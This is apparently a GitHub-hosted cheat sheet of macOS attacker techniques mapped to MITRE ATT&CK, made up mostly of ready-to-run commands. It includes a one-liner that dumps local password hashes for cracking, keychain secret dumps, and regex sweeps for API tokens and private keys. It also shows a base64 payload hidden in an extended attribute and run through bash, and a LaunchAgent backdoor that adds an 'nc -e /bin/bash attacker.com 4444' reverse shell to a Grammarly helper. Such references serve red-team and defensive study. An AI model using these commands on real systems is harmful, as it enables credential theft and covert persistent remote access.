Mac OSX TTPs

May 15, 2026 · View on GitHub

Table of Contents

Enumeration (T1082)

Gathering System Information Using IOPlatformExpertDevice (T1082)

The ioreg command allows interaction with the I/O Kit registry, and the -c flag specifies the class of devices to list. The IOPlatformExpertDevice class provides information about the platform expert, which includes various system attributes. The -d flag specifies the depth of the search within the device tree.

ioreg -c IOPlatformExpertDevice -d 2

Exploring Application Bundles (T1083)

Applications on macOS are stored in the /Applications directory. Each application is bundled as a .app file, which is actually a directory with a specific layout. Key components of an application bundle include:

  1. Info.plist: This file contains application-specific configuration, entitlements, tasks, and metadata.

  2. MacOS: This directory contains the Mach-O executable.

  3. Resources: This directory includes icons, fonts, and images used by the application.

# List Applications
ls /Applications

cd /Applications/Lens.app
ls -R

Basic System Enumeration (T1082)

Versions:

❯ sw_vers
ProductName:  macOS
ProductVersion:  14.5
BuildVersion:  23F79

A basic script for gathering system information using osascript:

-- System Information
set systemInfo to do shell script "system_profiler SPSoftwareDataType"
set hardwareInfo to do shell script "system_profiler SPHardwareDataType"

-- Network Information
set networkInfo to do shell script "ifconfig"

-- Disk Usage
set diskUsage to do shell script "df -h"

-- Output Results
set result to "System Information:\n" & systemInfo & "\n\n"
set result to result & "Hardware Information:\n" & hardwareInfo & "\n\n"
set result to result & "Network Information:\n" & networkInfo & "\n\n"
set result to result & "Disk Usage:\n" & diskUsage

-- Display Results
result

osascript enumerate_mac.scpt

Environment Variables:

❯ printenv
LANG=en_US.UTF-8
PWD=/Users/rosesecurity

Home Folders:

❯ ls -ma ~/
.!48082!pack-8ad6a5dc9b062d5e0e8d0bd9fa08146698e612e9.rev, .!48110!index, .., .CFUserTextEncoding, .DS_Store, .Trash, .aws,
.azure, .bash_history, .bashrc, .boto,

Wireless Network:

ipconfig getsummary $(networksetup -listallhardwareports | awk '/Hardware Port: Wi-Fi/{getline; print \$2}') | awk -F ' SSID : ' '/ SSID : / {print \$2}'

Users (T1087.001)

The three types of MacOS users are:

  • Local Users — Managed by the local OpenDirectory service, they aren’t connected in any way to the Active Directory

  • Network Users — Volatile Active Directory users who require a connection to the DC server to authenticate

  • Mobile Users — Active Directory users with a local backup for their credentials and files

# User and Group Enumeration

dscl . ls /Users
dscl . read /Users/[username]

dscl . ls /Groups
dscl . read /Groups/[group]

# Domain Enumeration
dsconfigad -show

Last Login (T1087)

This command reads the contents of the login window preferences plist file. This can potentially expose information such as:

  1. Automatic login settings
  2. Display of usernames and other login screen options
  3. Shutdown and restart privileges
  4. Login hooks (scripts that run at login)
❯ sudo defaults read /Library/Preferences/com.apple.loginwindow

Password:
{
    AccountInfo =     {
        FirstLogins =         {
            rosesec = 1;
        };
        MaximumUsers = 1;
        OnConsole =         {
        };
    };
    GuestEnabled = 0;
    Hide500Users = 1;
    OptimizerLastRunForBuild = 48630688;
    OptimizerLastRunForSystem = 235274496;
    RecentUsers =     (
        rosesec,
        "doctor.pepper"
    );
    UseVoiceOverLegacyMigrated = 1;
    lastLoginPanic = "746632045.290429";
    lastUser = loggedIn;
    lastUserName = rosie.odonnell;
}

Passwords (T1003)

The following one-liner which will dump credentials of all non-service accounts in Hashcat format -m 7100 (macOS PBKDF2-SHA512):

sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done'

Safari History (T1217)

Retrieve Safari history for user:

sqlite3 ~/Library/Safari/History.db "select datetime(history_visits.visit_time + 978307200, 'unixepoch') as last_visited, history_items.url from history_visits, history_items where history_visits.history_item=history_items.id order by last_visited;"

Safari Settings (T1217)

To view all the settings for Safari, run:

defaults read com.apple.Safari

Output example:

{
    AutoFillCreditCardData = 0;
    AutoplayPolicyWhitelistConfigurationUpdateDate = "2025-07-28 15:35:52 +0000";
    AutoplayQuirksWhitelistConfigurationUpdateDate = "2025-07-28 15:35:52 +0000";
    CloseTabsAutomatically = 1;
    DefaultBrowserPromptingState3 = 4;
    DidActivateReaderAtleastOnce = 1;
    DidClearLegacySpotlightMetadataCaches = 1;
    DidGrantSearchProviderAccessToWebNavigationExtensions = 1;
    DidMigrateAppExtensionPermissions = 1;
    DidMigrateDefaultsToSandboxSecureDefaults = 1;
    DidMigrateDownloadFolderToSandbox = 1;
    DidMigrateLastSessionPlist = 1;
    ...
}

Downloaded File Source

❯ xattr -p com.apple.metadata:kMDItemWhereFroms install.sh
bplist00_phttps://malware.net/mgr/v1/download/install.shP

Keychains (T1555.001)

# List certificates
security dump-trust-settings [-s] [-d]

# List keychain databases
security list-keychains

# List smartcards
security list-smartcards

# List keychains entries
security dump-keychain | grep -A 5 "keychain" | grep -v "version"

# Dump all the keychain information, included secrets
security dump-keychain -d

Tip

The last command will prompt the user for their password each entry, even if root. This is extremely noisy

Network Services (T1046)

rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l);
scrShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.5900" | wc -l);
flShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | egrep "\*.88|\*.445|\*.548" | wc -l);
rLgn=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.22" | wc -l);
rAE=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.3031" | wc -l);
bmM=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.4488" | wc -l);
printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM";

SMB Shares (T1135)

# SMB share enumeration
smbutil view -G //servername.domain
sharing -l
smbutil statshares -a

AFP Shares (T1135)

# AFP share enumeration
dns-sd -B _afpovertcp._tcp
nmap -p 548 --script afp-showmount --script-args afp.username=yourusername,afp.password=yourpassword yourserveraddress
sudo sharing -l

SSH Scanning (T1046)

Browse for all SSH services that are currently advertised on the local network

dns-sd -B _ssh._tcp

Network Service Scanning (T1046)

dns-sd: Uses Bonjour to discover network services like AFP, SMB, and more.

❯ dns-sd -B _services._dns-sd._udp

Browsing for _services._dns-sd._udp
14:35:41.500  ...STARTING...
Timestamp     A/R    Flags  if Domain               Service Type         Instance Name
14:35:41.501  Add        3  16 .                    _tcp.local.          _androidtvremote2
14:35:41.501  Add        3  16 .                    _tcp.local.          _ssh
14:35:41.501  Add        2  16 .                    _tcp.local.          _sftp-ssh
14:35:41.659  Add        3  26 .                    _tcp.local.          _airplay
14:35:41.660  Add        2  26 .                    _tcp.local.          _vstreamdeck2
14:35:42.663  Add        3  16 .                    _tcp.local.          _googlecast
14:35:42.663  Add        2  16 .                    _tcp.local.          _googlezone

System Profiler (T1082)

It is an application created to gather detailed information about the Mac on which it is running.

system_profiler SPSoftwareDataType SPHardwareDataType

Software:

    System Software Overview:

      System Version: macOS 14.5 (23F79)
      Kernel Version: Darwin 23.5.0
      Boot Volume: Macintosh HD
      Boot Mode: Normal
      Computer Name: Salsa-Dancer.RoseSecurity
      User Name: RoseSecurity (rose)
      Secure Virtual Memory: Enabled
      System Integrity Protection: Enabled
      Time since boot: 10 days, 14 hours, 54 minutes

Hardware:

    Hardware Overview:

      Model Name: MacBook Pro
      Model Identifier: Mac14,9
      Model Number: Z17G002HTLL/A
      Chip: Apple M2 Pro
      Total Number of Cores: 10 (6 performance and 4 efficiency)
      Memory: 32 GB
      System Firmware Version: 10151.121.1
      OS Loader Version: 10151.121.1
      Serial Number (system): XXXXXXXX
      Hardware UUID: 0012DE66-XXXXXXXX
      Provisioning UDID: 00006020-XXXX
      Activation Lock Status: Disabled

Unified Log Harvesting (T1552.001)

log is a zsh builtin — use /usr/bin/log. MATCHES is fully anchored, so wrap regexes with .*...*. The log process logs itself; exclude with NOT process == "log" (avoid !=, zsh history-expands it).

Sudo command history with PWD, target user, and full command path:

/usr/bin/log show --last 30d --info --debug --predicate 'process == "sudo" AND eventMessage CONTAINS "COMMAND="' --style compact

SSH client activity timeline (destinations are redacted, timestamps are not):

/usr/bin/log show --last 7d --predicate 'process == "ssh" OR process == "sshd"' --style compact

TCC entitlements the user has already approved (ideal for piggy-back persistence):

/usr/bin/log show --last 30d --predicate 'process == "tccd" AND eventMessage CONTAINS "REPLY"' --style compact

Emails seen in logs, with distnoted/Maps-tile noise filtered:

/usr/bin/log show --last 30d --info --debug --predicate 'eventMessage CONTAINS "@" AND NOT process == "distnoted" AND NOT process == "log"' 2>/dev/null | grep -oE '\b[A-Za-z0-9._%+-]{3,}@[A-Za-z0-9][A-Za-z0-9-]{1,}\.[A-Za-z]{2,6}\b' | grep -viE '@[0-9]x|\.png$|\.styl$|\.icon|\.peer$' | sort -u

Filesystem sweep for Bearer tokens, OAuth fields, API keys, and private key blocks in Electron/dev app logs (where secrets actually live on macOS):

grep -rIlEi '(bearer [A-Za-z0-9._-]{20,}|"(access|id|refresh)_token"|"client_secret"|(api|secret)[_-]?key["'"'"': =]+[A-Za-z0-9]{16,}|-----BEGIN (RSA|EC|OPENSSH| )?PRIVATE KEY-----)' ~/Library/Logs "$HOME/Library/Application Support" 2>/dev/null

Filesystem sweep for known token prefixes (AWS, GitHub, GitLab, Slack, OpenAI/Stripe, npm, JWT):

grep -rIoE '(AKIA|ASIA)[0-9A-Z]{16}|gh[pousr]_[A-Za-z0-9]{36,}|glpat-[A-Za-z0-9_-]{20,}|xox[baprs]-[A-Za-z0-9-]{10,}|sk-[A-Za-z0-9]{32,}|npm_[A-Za-z0-9]{36}|eyJ[A-Za-z0-9_-]{10,}\.eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}' ~/Library/Logs "$HOME/Library/Application Support" 2>/dev/null | sort -u

Collect the unified log archive for offline triage with a real secret scanner:

/usr/bin/log collect --last 30d --output /tmp/unified.logarchive
/usr/bin/log show --archive /tmp/unified.logarchive --info --debug --style ndjson > /tmp/unified.ndjson
trufflehog filesystem /tmp/unified.ndjson

Noisy processes to exclude from any keyword query: log, bluetoothd, distnoted, airportd, launchd, mDNSResponder, symptomsd, tccd.

Persistence (T1543.001)

Extended Attributes (T1564.004)

Extended attributes (EAs) on macOS can be used maliciously by attackers to hide data, evade detection, or persist malicious code, since EAs are not visible through typical file inspection methods

# Create the malicious extended attribute. In our case, this is a simple echo command
❯ xattr -w user.hiddenPayload "ZWNobyAiSSdtIG9uIHlvdXIgc3lzdGVtIgo=" not_malicious.txt

# Viewing the extended attributes
❯ xattr not_malicious.txt
com.apple.provenance
user.hiddenPayload

# Executing the extended attributes
❯ xattr -p user.hiddenPayload not_malicious.txt | base64 -d | bash
I'm on your system

LaunchAgent Backdoors (T1543.001)

LaunchAgent plists are a common target because they provide persistent access that survives reboots. Take this Grammarly helper, for example:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
 <key>AssociatedBundleIdentifiers</key>
 <string>com.grammarly.ProjectLlama</string>
 <key>EnvironmentVariables</key>
 <dict>
  <key>GD_AGENT_LABEL</key>
  <string>com.grammarly.ProjectLlama.Shepherd</string>
  <key>GD_AGENT_PLIST_PATH</key>
  <string>/Users/rosesecurity/Library/LaunchAgents/com.grammarly.ProjectLlama.Shepherd.plist</string>
  <key>GD_BUNDLE_ID</key>
  <string>com.grammarly.ProjectLlama</string>
  <key>GD_BUNDLE_NAME</key>
  <string>Grammarly Desktop</string>
 </dict>
 <key>KeepAlive</key>
 <true/>
 <key>Label</key>
 <string>com.grammarly.ProjectLlama.Shepherd</string>
 <key>MachServices</key>
 <dict>
  <key>com.grammarly.nativemessaging.discovery</key>
  <true/>
 </dict>
 <key>ProgramArguments</key>
 <array>
  <string>/Applications/Grammarly Desktop.app/Contents/Library/LaunchAgents/Grammarly Desktop Helper.app/Contents/MacOS/Grammarly Desktop Helper</string>
 </array>
 <key>RunAtLoad</key>
 <true/>
</dict>
</plist>

We could modify the ProgramArguments array to execute malicious commands instead of or alongside the legitimate Grammarly helper:

<key>ProgramArguments</key>
<array>
    <string>/bin/bash</string>
    <string>-c</string>
    <string>nc -e /bin/bash attacker.com 4444 &amp;&amp; /Applications/Grammarly Desktop.app/Contents/Library/LaunchAgents/Grammarly Desktop Helper.app/Contents/MacOS/Grammarly Desktop Helper</string>
</array>

The RunAtLoad and KeepAlive keys make this particularly dangerous because the malicious payload would execute automatically at login and restart if it crashes. The MachServices configuration also provides inter-process communication capabilities that could be exploited.